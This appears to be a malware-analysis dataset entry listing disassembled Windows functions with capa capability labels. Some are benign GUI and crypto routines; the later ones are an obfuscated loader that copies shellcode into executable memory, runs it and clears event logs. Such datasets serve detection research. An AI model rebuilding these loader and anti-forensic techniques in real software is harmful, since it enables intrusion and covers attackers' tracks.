joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b3900
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x54b6c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x17eeb40]
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], eax
lea ecx, [esp + 8]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xac], ebx
call fcn.00539c1c
cmp dword [0x183cb78], ebx
je 0x4b3970
lea ecx, [esp + 8]
mov dword [esp + 0xa8], 0xffffffff
call fcn.005377e5
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
add esp, 0xa4
ret
mov edx, dword [0x17eeb40]
push ebp
push edi
mov edi, 1
mov dword [0x183cb78], edi
mov dword [esp + 0x40], edx
cmp esi, ebx
mov byte [esp + 0xb0], 1
jne 0x4b3999
mov dword [esp + 0x20], ebx
jmp 0x4b39a0
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x20], eax
mov ecx, esi
call fcn.0053bd81
mov ecx, dword [esi + 0x84]
mov edx, dword [esi + 0x88]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], 5
mov dword [esp + 0x34], edx
call fcn.005378d2
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x1c], edx
jne 0x4b39fe
mov dword [esp + 0x14], ebx
jmp 0x4b3a05
mov ebp, dword [eax + 0x1c]
mov dword [esp + 0x14], ebp
cmp ecx, 0xd
jne 0x4b3a1f
mov eax, dword [eax + 0x3c8]
cmp eax, edi
je 0x4b3a19
cmp eax, 2
jne 0x4b3a1f
mov dword [esp + 0x18], edi
jmp 0x4b3a23
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x4b3a31
push edx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.00539251
mov edi, eax
cmp edi, ebx
jne 0x4b3a41
xor eax, eax
jmp 0x4b3a44
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x4b3a6c
mov ecx, esi
call fcn.0053bd81
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov esi, dword [esp + 0x1c]
push esi
call ebx
test eax, eax
je 0x4b3a84
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x18]
mov dword [0x183cb78], 0
test eax, eax
je 0x4b3aad
mov esi, dword [esp + 0x14]
push esi
call ebx
test eax, eax
je 0x4b3aad
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x40]
mov byte [esp + 0xb0], 0
call fcn.005377e5
lea ecx, [esp + 0x10]
mov dword [esp + 0xb0], 0xffffffff
call fcn.005377e5
mov ecx, dword [esp + 0xa8]
pop edi
pop ebp
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x4b5950
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x54b8b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0053e46e
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov ecx, esi
mov dword [esp + 0x44], 0
call fcn.004b5890
mov ecx, dword [esi + 0x174]
mov eax, dword [esi + 0x178]
add ecx, 0x64
add eax, 0x64
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0053e39c
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x4b5a17
cmp dword [esp + 0x40], 1
jne 0x4b5a15
cmp ecx, eax
jge 0x4b5a17
mov eax, ecx
cmp eax, 0x12c
jge 0x4b5a23
mov eax, 0x12c
mov ecx, esi
mov dword [esi + 0x194], eax
mov dword [esi + 0x1dc], 1
call fcn.004b5a70
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0053e4e0
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4b9d10
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x54bda6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x17eeb40]
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xb0], ebx
call fcn.00539c1c
mov edx, dword [0x17eeb40]
mov dword [esp + 0x3c], edx
cmp esi, ebx
mov byte [esp + 0xac], 1
jne 0x4b9d6a
mov dword [esp + 0x1c], ebx
jmp 0x4b9d71
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x1c], eax
push edi
mov ecx, esi
call fcn.0053bd81
mov ecx, dword [esi + 0x3c]
mov edx, dword [esi + 0x40]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov edi, 1
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], edi
mov dword [esp + 0x34], edx
call fcn.005378d2
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x1c], ecx
jne 0x4b9dc2
mov dword [esp + 0x14], ebx
jmp 0x4b9dc9
mov edx, dword [eax + 0x1c]
mov dword [esp + 0x14], edx
cmp dword [esi + 0x44], 0xd
jne 0x4b9de4
mov eax, dword [eax + 0x3c8]
cmp eax, edi
je 0x4b9dde
cmp eax, 2
jne 0x4b9de4
mov dword [esp + 0x18], edi
jmp 0x4b9de8
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x4b9df6
push ecx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.00539251
mov edi, eax
cmp edi, ebx
jne 0x4b9e06
xor eax, eax
jmp 0x4b9e09
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x4b9e31
mov ecx, esi
call fcn.0053bd81
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov eax, dword [esp + 0x1c]
push eax
call ebx
test eax, eax
pop edi
je 0x4b9e4d
mov ecx, dword [esi + 0x1c]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4b9e6c
mov esi, dword [esp + 0x10]
push esi
call ebx
test eax, eax
je 0x4b9e6c
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x3c]
mov byte [esp + 0xac], 0
call fcn.005377e5
lea ecx, [esp + 0xc]
mov dword [esp + 0xac], 0xffffffff
call fcn.005377e5
mov ecx, dword [esp + 0xa4]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x4e1770
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
test esi, esi
jle 0x4e179c
mov ecx, dword [esp + 8]
push ebx
xor edx, edx
xor ebx, ebx
mov dl, byte [ecx]
mov bl, byte [edx + 0x17b9924]
lea edx, [eax*8]
xor ebx, edx
xor eax, ebx
inc ecx
dec esi
jne 0x4e1780
pop ebx
pop esi
ret
Function at 0x50e980
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x18482b8]
xor edx, edx
cmp eax, edx
jne 0x50e9a6
xor eax, eax
mov byte [eax + 0x18481b8], al
inc eax
cmp eax, 0x100
jl 0x50e98e
mov dword [0x18482b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x18481b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x50ea37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x50ea0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x50e9d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x50eab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x50eb03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x50eaea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5154b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x54c20e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00515dd0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x17bd21c
call fcn.00537526
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x515543
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00537526
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x51553c
push 0
mov ecx, eax
call fcn.0050c5b0
mov dword [esi + 0xc], eax
jmp 0x515545
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x515545
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x539c1c
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x539c54
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00537c40
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00537c18
jmp 0x539c60
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x53b490
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x53b4d2
call fcn.00541d9c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x53b4d2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x53b4c9
xor eax, eax
jmp 0x53b4da
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0053b4e0
pop edi
pop esi
pop ebx
ret 4

Function at 0x5422cc
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5422fa
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x542318
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00542232
jmp 0x542318
mov eax, dword [esi + 0x14]
test eax, eax
je 0x542318
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00542232
test edi, edi
mov eax, edi
jne 0x542302
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x544bda
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call edi
test ax, ax
jge 0x544c02
or dword [esi + 0x38], 1
or dword [esi + 0x34], 2
jmp 0x544c13
push 2
call edi
test ax, ax
jge 0x544c13
or dword [esi + 0x38], 2
or dword [esi + 0x34], 1
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
push dword [eax + 0x1c]
call dword [sym.imp.USER32.dll_SetCapture]
push eax
call fcn.00539251
cmp dword [esi + 0x30], ebx
jne 0x544ced
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebx, 0x100
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call fcn.00539251
cmp eax, dword [esp + 0x34]
jne 0x544ced
push 1
push 0x209
push 0x200
lea eax, [esp + 0x20]
push 0
push eax
call edi
test eax, eax
jne 0x544c89
push 1
push 0x108
push ebx
push eax
lea eax, [esp + 0x24]
push eax
call edi
test eax, eax
je 0x544cce
mov eax, dword [esp + 0x18]
cmp eax, 0x202
je 0x544ced
cmp eax, 0x205
je 0x544ced
cmp eax, 0x201
je 0x544ced
cmp eax, 0x204
je 0x544ced
cmp eax, ebx
jne 0x544cb4
cmp dword [esp + 0x1c], 0x1b
je 0x544ced
push dword [esp + 0x2c]
lea eax, [esi + 0x20]
push dword [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x30], eax
call ebp
sub eax, dword [esp + 0x10]
cmp eax, dword [0x1859e0c]
jbe 0x544ce3
mov dword [esi + 0x30], 1
cmp dword [esi + 0x30], 0
je 0x544c46
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [esi + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x401330
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x870658], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x451288]
mov edx, dword [0x45128c]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
call fcn.00401320
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x451290]
mov ecx, dword [0x451294]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
jmp 0x4013b0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x870658]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401410
push 0
lea edx, [ebp - 0x430]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x870658]
add eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40142a
mov dword [0x86fbf4], 0xedeb2e40
jmp 0x40143c
cmp ecx, 0x3eb
jne 0x40143c
mov dword [0x86f5a8], 0
mov ecx, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x86fbf0], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
cmp dword [0x870658], 0x9e6
jne 0x401474
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
xor dword [ebp - 4], edx
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x870658], 0x121
jne 0x4014da
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x1c], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x4013b0
cmp dword [0x870658], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401521
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x452430
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b868
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x870658], 0x5b1
push ebx
push esi
push edi
jne 0x4016f7
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c80
push 0
mov dword [ebp - 4], 0
call fcn.00403a91
add esp, 4
push 0
call fcn.00403bdd
add esp, 4
jmp 0x401610
mov eax, dword [0x870658]
add eax, 0x1134b
push eax
push 0
mov dword [0x870658], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x870658]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x86f5ac], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401743
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401730
mov ecx, dword [0x870658]
xor esi, esi
test ecx, ecx
jbe 0x4017b9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401770
mov ecx, dword [0x87065c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x86f5ac]
mov byte [eax + esi], dl
mov ecx, dword [0x870658]
cmp ecx, 0xa8
jne 0x4017b4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x870658]
inc esi
cmp esi, ecx
jb 0x401770
xor eax, eax
jmp 0x4017c0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401855
inc eax
cmp eax, 0x39621
jl 0x4017c0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017ed
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017e1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ebx, 0x7b
jmp 0x401810
cmp dword [0x870658], 0x86
jne 0x40183a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401810
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401860
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x870658], 0x400
push esi
push edi
jne 0x4018c8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019c0
mov ecx, esi
call fcn.004019e0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
cmp esi, 0xa50
jge 0x4018e0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018f6
cmp edi, 0x78d9a205
jne 0x4018ff
inc esi
cmp esi, 0x1c5d
jl 0x4018d4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea ecx, [ecx]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40192d
inc esi
cmp esi, 0x4f6a4
jl 0x401910
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40194c
cmp ebx, 0x785074d5
jne 0x401955
inc esi
cmp esi, 0x11915
jl 0x401938
mov ecx, dword [0x4514cc]
mov edx, dword [0x4514a0]
mov dword [0x870658], ecx
mov dword [0x87065c], edx
call fcn.00401620
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x870658], 0x51f
jne 0x40199c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401980
mov eax, dword [0x86f5ac]
mov dword [0x86fbec], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4043eb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x450550]
jne 0x4043f5
repz ret
jmp fcn.0040866c
Function at 0x40b9c5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d5b
and dword [ebp - 4], 0
cmp dword [0x452354], 0
mov ebx, eax
jne 0x40ba76
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bb27
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40bb27
push eax
call fcn.00405ce9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x452354], eax
call esi
push eax
call fcn.00405ce9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452358], eax
call esi
push eax
call fcn.00405ce9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45235c], eax
call esi
push eax
call fcn.00405ce9
pop ecx
mov dword [0x452364], eax
test eax, eax
je 0x40ba76
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405ce9
pop ecx
mov dword [0x452360], eax
mov eax, dword [0x452360]
cmp eax, ebx
je 0x40bace
cmp dword [0x452364], ebx
je 0x40bace
push eax
call fcn.00405d64
push dword [0x452364]
mov esi, eax
call fcn.00405d64
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bace
test edi, edi
je 0x40bace
call esi
test eax, eax
je 0x40bac5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bac5
test byte [ebp - 0xc], 1
jne 0x40bace
or dword [ebp + 0x10], 0x200000
jmp 0x40bb07
mov eax, dword [0x452358]
cmp eax, ebx
je 0x40bb07
push eax
call fcn.00405d64
pop ecx
test eax, eax
je 0x40bb07
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bb07
mov eax, dword [0x45235c]
cmp eax, ebx
je 0x40bb07
push eax
call fcn.00405d64
pop ecx
test eax, eax
je 0x40bb07
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x452354]
call fcn.00405d64
pop ecx
test eax, eax
je 0x40bb27
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bb29
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret